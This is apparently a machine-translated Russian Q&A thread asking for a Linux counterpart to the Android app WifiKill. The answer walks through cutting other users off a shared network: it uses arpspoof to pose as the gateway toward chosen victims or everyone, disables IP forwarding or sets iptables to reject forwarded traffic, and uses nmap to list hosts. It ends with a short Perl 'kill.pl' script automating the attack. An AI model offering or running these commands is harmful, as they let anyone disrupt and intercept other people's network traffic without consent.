Существует ли какая-либо (желательно Linux) программа, похожая на приложение WifiKill для Android?
2 ответа
Итак, Android - это Linux, поэтому вы можете повторить действия Ponury's WifiKill
на вашем компьютере с Linux
WifiKill
делает две вещи:
- Он маскируется под шлюз, поэтому жертвы будут отправлять пакеты на телефон, а не отправлять их на шлюз.
- Отключает пересылку пакетов. Таким образом, жертвы отправят все пакеты на ваш компьютер, которые будут отбрасывать их
Для маскировки вам нужен ARP-спуфинг. Вы можете использовать команду arpspoof
из dsniff:
- Во-первых, вы должны знать IP шлюза. Запустите
route -n
в терминале и получите IP шлюза оттуда. В наиболее распространенном случае (вы подключены только к беспроводной сети) шлюзом будет запись с0.0.0.0
. Вы можете использоватьroute -n|grep ^0.0.0.0|cut -d' ' -f 10
чтобы получить IP-адрес шлюза по умолчанию - Затем используйте
arpspoof
чтобы маскироваться под ворота. Запуститеarpspoof $IP
от имени пользователя root, если вы хотите уничтожить всю сеть, кроме вас, или запуститеarpspoof -t $VICTIM_IP $IP
для каждой жертвы, если вы хотите убить только определенные хосты
Теперь вы маскируетесь под шлюз сети. Все пакеты, отправленные жертвами, отправляются на ваш компьютер. Теперь вам нужно отключить пересылку пакетов. Для этого запустите echo -n 0 > /proc/sys/net/ipv?/ip_forward
от имени пользователя root. Это отбросит все пакеты, отправленные жертвами
Прошло много времени с тех пор, как я в последний раз использовал WifiKill
, но я помню, что у него была возможность отклонять пакеты вместо того, чтобы отбрасывать их [отклонение дает людям мгновенную ошибку соединения, а удаление - время ожидания всех их соединений]. Для этого вам необходимо:
- Включите пересылку пакетов, запустив
echo -n 1 > /proc/sys/net/ipv?/ip_forward
от имени пользователя root - Установите политику FORWARD по умолчанию для
netfilter
REJECT. Запуститеiptables -P FORWARD REJECT
. Конечно, вы можете использоватьiptables
для сколь угодно сложных правил брандмауэра
WifiKill
также перечисляет онлайн-хосты. Чтобы сделать это в Linux, вы можете использовать nmap
для проверки связи хостов в заданном диапазоне. Например, если вы хотите узнать, какие хосты находятся в сети в диапазоне от 192.168.1.1
до 192.168.1.254
вы можете запустить nmap -sP 192.168.1.1-254
. Хотя в этом списке компьютеров со скрытыми брандмауэрами нет, вы все равно можете убить эти компьютеры, если убьете всех в сети или знаете их точный IP-адрес.
Там может быть программа, которая делает то, что я перечислил выше, но для общего случая вы можете написать скрипт:
#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`;
if (@ARGV) {
print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);
Сохраните это как kill.pl
затем назовите его как ./kill.pl $IP1 $IP2 ... $IPn
для уничтожения $IP1
, $IP2
, ..., $IPn
или as ./kill.pl
для уничтожения всех хостов
Netcut для Windows выполняет аналогичную задачу.